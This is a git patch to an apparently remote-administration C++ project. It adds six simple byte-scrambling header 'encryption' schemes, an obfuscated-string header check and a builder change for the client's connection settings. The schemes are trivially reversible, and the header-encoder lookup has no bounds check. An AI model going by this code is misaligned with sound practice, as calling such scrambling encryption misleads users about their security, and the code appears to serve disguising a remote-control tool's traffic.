From e4a1692a39b13e7fe3d42fc2278539733a64a86d Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Thu, 10 Jul 2025 04:29:40 +0800 Subject: [PATCH] Add encrypt and decrypt functions --- common/encfuncs.h | 131 +++++++++++++++++++++++++++++++++ common/header.h | 31 ++++---- server/2015Remote/BuildDlg.cpp | 2 +- 3 files changed, 148 insertions(+), 16 deletions(-) create mode 100644 common/encfuncs.h diff --git a/common/encfuncs.h b/common/encfuncs.h new file mode 100644 index 0000000..bca73ea --- /dev/null +++ b/common/encfuncs.h @@ -0,0 +1,131 @@ +#pragma once + + +// 加密函数 +inline void encrypt_v1(unsigned char* data, size_t length, unsigned char key) { + for (size_t i = 0; i < length; i++) { + if (i % 2 == 0) { + data[i] = data[i] + key; // 偶数索引加 key + } + else { + data[i] = data[i] - key; // 奇数索引减 key + } + } +} + +// 解密函数 +inline void decrypt_v1(unsigned char* data, size_t length, unsigned char key) { + for (size_t i = 0; i < length; i++) { + if (i % 2 == 0) { + data[i] = data[i] - key; // 偶数索引减 key 还原 + } + else { + data[i] = data[i] + key; // 奇数索引加 key 还原 + } + } +} + +// 加密函数 - 使用异或和位旋转 +inline void encrypt_v2(unsigned char* data, size_t length, unsigned char key) { + for (size_t i = 0; i < length; i++) { + // 偶数索引:与key异或后左循环移位1位 + // 奇数索引:与key异或后右循环移位1位 + data[i] ^= key; + if (i % 2 == 0) { + data[i] = (data[i] << 1) | (data[i] >> 7); // 左循环移位 + } + else { + data[i] = (data[i] >> 1) | (data[i] << 7); // 右循环移位 + } + } +} + +// 解密函数 +inline void decrypt_v2(unsigned char* data, size_t length, unsigned char key) { + for (size_t i = 0; i < length; i++) { + // 加密的逆操作 + if (i % 2 == 0) { + data[i] = (data[i] >> 1) | (data[i] << 7); // 右循环移位还原 + } + else { + data[i] = (data[i] << 1) | (data[i] >> 7); // 左循环移位还原 + } + data[i] ^= key; // 再次异或还原 + } +} + +// 加密函数 V3 - 基于索引和key的动态计算 +inline void encrypt_v3(unsigned char* data, size_t length, unsigned char key) { + for (size_t i = 0; i < length; i++) { + unsigned char dynamic_key = key + (i % 8); // 动态变化的key(基于索引) + if (i % 3 == 0) { + data[i] = (data[i] + dynamic_key) ^ dynamic_key; // 加法 + 异或 + } + else if (i % 3 == 1) { + data[i] = (data[i] ^ dynamic_key) - dynamic_key; // 异或 + 减法 + } + else { + data[i] = ~(data[i] + dynamic_key); // 取反 + 加法 + } + } +} + +// 解密函数 V3 +inline void decrypt_v3(unsigned char* data, size_t length, unsigned char key) { + for (size_t i = 0; i < length; i++) { + unsigned char dynamic_key = key + (i % 8); + if (i % 3 == 0) { + data[i] = (data[i] ^ dynamic_key) - dynamic_key; // 逆操作:先异或再减 + } + else if (i % 3 == 1) { + data[i] = (data[i] + dynamic_key) ^ dynamic_key; // 逆操作:先加再异或 + } + else { + data[i] = ~data[i] - dynamic_key; // 逆操作:取反再减 + } + } +} + +// 加密函数 V4 - 基于伪随机序列(简单线性同余生成器) +inline void encrypt_v4(unsigned char* data, size_t length, unsigned char key) { + unsigned char rand = key; + for (size_t i = 0; i < length; i++) { + rand = (rand * 13 + 17) % 256; // 伪随机数生成(LCG) + data[i] ^= rand; // 用伪随机数异或加密 + } +} + +// 解密函数 V4(与加密完全相同,因为异或的自反性) +inline void decrypt_v4(unsigned char* data, size_t length, unsigned char key) { + encrypt_v4(data, length, key); // 异或加密的解密就是再执行一次 +} + +// 加密函数 V5 - V5 版本(动态密钥派生 + 多重位运算) +inline void encrypt_v5(unsigned char* data, size_t length, unsigned char key) { + for (size_t i = 0; i < length; i++) { + unsigned char dynamic_key = (key + i) ^ 0x55; // 动态密钥派生 + data[i] = ((data[i] + dynamic_key) ^ (dynamic_key << 3)) + (i % 7); + } +} + +// 解密函数 V5 +inline void decrypt_v5(unsigned char* data, size_t length, unsigned char key) { + for (size_t i = 0; i < length; i++) { + unsigned char dynamic_key = (key + i) ^ 0x55; + data[i] = (((data[i] - (i % 7)) ^ (dynamic_key << 3)) - dynamic_key); + } +} + +// 加密/解密函数 V6(自反性) - V6 版本(伪随机流混淆 + 自反性解密) +inline void encrypt_v6(unsigned char* data, size_t length, unsigned char key) { + unsigned char rand = key; + for (size_t i = 0; i < length; i++) { + rand = (rand * 31 + 17) % 256; // 简单伪随机生成 + data[i] ^= rand + i; // 异或动态值 + } +} + +// 解密函数 V6(直接调用 encrypt_v6 即可) +inline void decrypt_v6(unsigned char* data, size_t length, unsigned char key) { + encrypt_v6(data, length, key); // 异或的自反性 +} diff --git a/common/header.h b/common/header.h index 5ca0423..a5c41ab 100644 --- a/common/header.h +++ b/common/header.h @@ -2,20 +2,28 @@ // This file implements a serial of data header encoding methods. #include #include +#include "common/encfuncs.h" #define MSG_HEADER "HELL" enum HeaderEncType { HeaderEncUnknown = -1, HeaderEncNone, + HeaderEncV0, HeaderEncV1, + HeaderEncV2, + HeaderEncV3, + HeaderEncV4, + HeaderEncV5, + HeaderEncV6, + HeaderEncNum, }; // 数据编码格式:标识符 + 编码后长度(4字节) + 解码后长度(4字节) const int FLAG_COMPLEN = 4; const int FLAG_LENGTH = 8; const int HDR_LENGTH = FLAG_LENGTH + 2 * sizeof(unsigned int); -const int MIN_COMLEN = 8; +const int MIN_COMLEN = 12; typedef void (*EncFun)(unsigned char* data, size_t length, unsigned char key); typedef void (*DecFun)(unsigned char* data, size_t length, unsigned char key); @@ -74,15 +82,8 @@ inline void decrypt(unsigned char* data, size_t length, unsigned char key) { } inline EncFun GetHeaderEncoder(HeaderEncType type) { - switch (type) - { - case HeaderEncNone: - return default_encrypt; - case HeaderEncV1: - return encrypt; - default: - return NULL; - } + static const DecFun methods[] = { default_encrypt, encrypt, encrypt_v1, encrypt_v2, encrypt_v3, encrypt_v4, encrypt_v5, encrypt_v6 }; + return methods[type]; } typedef struct HeaderFlag { @@ -142,7 +143,7 @@ inline FlagType CheckHead(const char* flag, DecFun dec) { else if (compare(flag, skCrypt("Shine"), 5, dec, 0) == 0) { type = FLAG_SHINE; } - else if (compare(flag, skCrypt("<>"), 8, dec, 0) == 0) { + else if (compare(flag, skCrypt("<>"), 8, dec, flag[9]) == 0) { type = FLAG_FUCK; } else if (compare(flag, skCrypt("Hello?"), 6, dec, flag[6]) == 0) { @@ -156,14 +157,14 @@ inline FlagType CheckHead(const char* flag, DecFun dec) { // 解密需要尝试多种方法,以便能兼容老版本通讯协议 inline FlagType CheckHead(char* flag, HeaderEncType& funcHit) { - static const DecFun methods[] = { default_decrypt, decrypt }; + static const DecFun methods[] = { default_decrypt, decrypt, decrypt_v1, decrypt_v2, decrypt_v3, decrypt_v4, decrypt_v5, decrypt_v6 }; static const int methodNum = sizeof(methods) / sizeof(DecFun); - char buffer[FLAG_LENGTH + 1] = {}; + char buffer[MIN_COMLEN + 4] = {}; for (int i = 0; i < methodNum; ++i) { - memcpy(buffer, flag, FLAG_LENGTH); + memcpy(buffer, flag, MIN_COMLEN); FlagType type = CheckHead(buffer, methods[i]); if (type != FLAG_UNKNOWN) { - memcpy(flag, buffer, FLAG_LENGTH); + memcpy(flag, buffer, MIN_COMLEN); funcHit = HeaderEncType(i); return type; } diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index 34d5af4..71bf195 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -146,7 +146,7 @@ void CBuildDlg::OnBnClickedOk() return; } //////////上线信息////////////////////// - CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "", typ, false, DLL_VERSION, 0, startup, HeaderEncV1 }; + CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "", typ, false, DLL_VERSION, 0, startup, HeaderEncV0 }; g_ConnectAddress.SetServer(m_strIP, atoi(m_strPort)); g_ConnectAddress.runningType = m_ComboRunType.GetCurSel(); g_ConnectAddress.protoType = m_ComboProto.GetCurSel();